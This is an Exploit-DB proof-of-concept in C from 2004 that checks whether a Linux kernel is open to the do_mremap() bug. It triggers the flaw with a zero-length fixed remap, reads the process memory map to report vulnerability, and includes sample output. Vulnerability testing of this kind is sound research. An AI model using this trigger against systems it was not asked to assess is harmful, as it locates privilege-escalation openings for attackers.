/* * EDB Note: This will just "test" the vulnerability. * EDB Note: An exploit version can be found here ~ https://www.exploit-db.com/exploits/145/ */ /* * Proof of concept code for testing do_mremap() Linux kernel bug. * It is based on the code by Christophe Devine and Julien Tinnes * posted on Bugtraq mailing list on 5 Jan 2004 but it's safer since * it avoids any kernel data corruption. * * The following test was done against the Linux kernel 2.6.0. Similar * results were obtained against the kernel 2.4.23 and previous ones. * * buffer@mintaka:~$ gcc -o mremap_bug mremap_bug.c * buffer@mintaka:~$ ./mremap_bug * * Base address : 0x60000000 * * 08048000-08049000 r-xp 00000000 03:03 2694 /home/buffer/mremap_bug * 08049000-0804a000 rw-p 00000000 03:03 2694 /home/buffer/mremap_bug * 40000000-40015000 r-xp 00000000 03:01 52619 /lib/ld-2.3.2.so * 40015000-40016000 rw-p 00014000 03:01 52619 /lib/ld-2.3.2.so * 40016000-40017000 rw-p 00000000 00:00 0 * 40022000-40151000 r-xp 00000000 03:01 52588 /lib/libc-2.3.2.so * 40151000-40156000 rw-p 0012f000 03:01 52588 /lib/libc-2.3.2.so * 40156000-40159000 rw-p 00000000 00:00 0 * 60000000-60002000 rw-p 00000000 00:00 0 * bfffd000-c0000000 rwxp ffffe000 00:00 0 * * Remapping at 0x70000000... * * 08048000-08049000 r-xp 00000000 03:03 2694 /home/buffer/mremap_bug * 08049000-0804a000 rw-p 00000000 03:03 2694 /home/buffer/mremap_bug * 40000000-40015000 r-xp 00000000 03:01 52619 /lib/ld-2.3.2.so * 40015000-40016000 rw-p 00014000 03:01 52619 /lib/ld-2.3.2.so * 40016000-40017000 rw-p 00000000 00:00 0 * 40022000-40151000 r-xp 00000000 03:01 52588 /lib/libc-2.3.2.so * 40151000-40156000 rw-p 0012f000 03:01 52588 /lib/libc-2.3.2.so * 40156000-40159000 rw-p 00000000 00:00 0 * 60000000-60002000 rw-p 00000000 00:00 0 * 70000000-70000000 rw-p 00000000 00:00 0 * bfffd000-c0000000 rwxp ffffe000 00:00 0 * * Report : * This kernel appears to be VULNERABLE * * Segmentation fault * buffer@mintaka:~$ */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #define MREMAP_FIXED 2 #define PAGESIZE 4096 #define VMASIZE (2*PAGESIZE) #define BUFSIZE 8192 #define __NR_real_mremap __NR_mremap static inline _syscall5( void *, real_mremap, void *, old_address, size_t, old_size, size_t, new_size, unsigned long, flags, void *, new_address ); #define MAPS_NO_CHECK 0 #define MAPS_CHECK 1 int mremap_check = 0; void maps_check(char *buf) { if (strstr(buf, "70000000")) mremap_check++; } void read_maps(int fd, char *path, unsigned long flag) { ssize_t nbytes; char buf[BUFSIZE]; if (lseek(fd, 0, SEEK_SET) < 0) { fprintf(stderr, "Unable to lseek %s\n", path); return; } while ( (nbytes = read(fd, buf, BUFSIZE)) > 0) { if (flag & MAPS_CHECK) maps_check(buf); if (write(STDOUT_FILENO, buf, nbytes) != nbytes) { fprintf(stderr, "Unable to read %s\n", path); exit (1); } } } int main(int argc, char **argv) { void *base; char path[16]; pid_t pid; int fd; pid = getpid(); sprintf(path, "/proc/%d/maps", pid); if ( !(fd = open(path, O_RDONLY))) { fprintf(stderr, "Unable to open %s\n", path); return 1; } base = mmap((void *)0x60000000, VMASIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); printf("\nBase address : 0x%x\n\n", base); read_maps(fd, path, MAPS_NO_CHECK); printf("\nRemapping at 0x70000000...\n\n"); base = real_mremap(base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED, (void *)0x70000000); read_maps(fd, path, MAPS_CHECK); printf("\nReport : \n"); (mremap_check) ? printf("This kernel appears to be VULNERABLE\n\n") : printf("This kernel appears to be NOT VULNERABLE\n\n"); close(fd); return 0; } // milw0rm.com [2004-01-07]